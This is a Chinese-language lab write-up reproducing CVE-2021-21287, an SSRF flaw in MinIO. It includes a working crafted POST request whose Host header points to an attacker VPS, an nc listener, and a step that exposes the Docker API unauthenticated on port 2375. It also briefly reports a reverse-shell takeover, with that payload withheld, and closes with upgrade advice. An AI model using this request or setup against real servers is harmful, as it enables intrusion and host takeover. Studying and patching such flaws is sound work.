1、漏洞简介

MinIO 是一款基于Go语言发开的高性能、分布式的对象存储系统。客户端支持Java,Net,Python,Javacript, Golang语言。 由于MinIO组件中LoginSTS接口设计不当,导致存在服务器端请求伪造漏洞。 攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令。

2、影响版本

MinIO < RELEASE.2021-01-30T00-20-58Z

3、漏洞分析

MinIO 组件中 LoginSTS 接口其实是 AWS STS 登录接口的一个代理,用于将发送到 JsonRPC 的请求转变成 STS 的方式转发给本地的 9000 端口。 由于逻辑设计不当,MinIO 会将用户发送的 HTTP 头 Host 中获取到地址作为 URL 的 Host 来构造新的 URL,但由于请求头是用户可控的,所以可以构造任意的 Host,最终导致存在 SSRF 漏洞。

4、环境搭建

靶机:10.57.201.77 攻击机:公网vps

靶机环境搭建操作:(kali) 4.1、启用Docker API

systemctl status docker

vim lib/systemd/system/docker.service

编辑配置文件(docker.service)找到:ExecStart=/usr/bin/dockerd 修改原配置为: ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock 修改之后重启:

systemctl daemon-reload

systemctl restart docker

验证:

netstat -nltp |grep 2375

4.2、启MinIO服务

mkdir CVE-2021-21287

cd CVE-2021-21287

vim docker-compose.yml

编辑docker-compose.yml:

version: '3.7'

services:

minio1:

image: minio/minio:RELEASE.2021-01-16T02-19-44Z

volumes:

- data1-1:/data1

- data1-2:/data2

ports:

- "9000:9000"

environment:

MINIO_ACCESS_KEY: minio

MINIO_SECRET_KEY: minio123

command: server http://minio{1...4}/data{1...2}

healthcheck:

test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]

interval: 30s

timeout: 20s

retries: 3

## By default this config uses default local driver,

## For custom volumes replace with volume driver configuration.

volumes:

data1-1:

data1-2:

docker开启服务:

docker-compose -f docker-compose.yml up -d

4.3 靶场访问 访问:http://10.57.201.77:9000

5、SSRF漏洞测试

5.1 使用vps监听8888端口

nc -lvvp 888

5.2 使用burpsuit抓取登录POST数据包 5.3 burp发送repeater,构造payload 5.4、payload附件:

##数据包payload

POST /minio/webrpc HTTP/1.1

Host: $(101.x.x.x:888)

Content-Length: 79

x-amz-date: 20220927T091453Z

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Content-Type: application/json

Accept: */*

Origin: http://10.57.201.77:9000

Referer: http://10.57.201.77:9000/minio/login

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{"id":1,"jsonrpc":"2.0","params":{"token": "test"},"method":"web.LoginSTS"}

6、漏洞进一步利用(反弹shell)

6.1 添加一个 DockerFile 通过 API 来进行创建容器 --成功 6.2 接管MinIO,反弹shell,控制靶机 --成功

备注:进一步利用需要vps起一个web服务(建议使用云宝塔搭建lamp),供靶机请求vps的index.php,再通过 Docker API 去 build 获取 80 端口下面的 DockerFile。 index.php及Dockerfile文件payload本文未附加!!!

7、整改建议

MinIO已更新修复了此漏洞,建议更新到新版本,下载地址: https://github.com/minio/minio

查看原文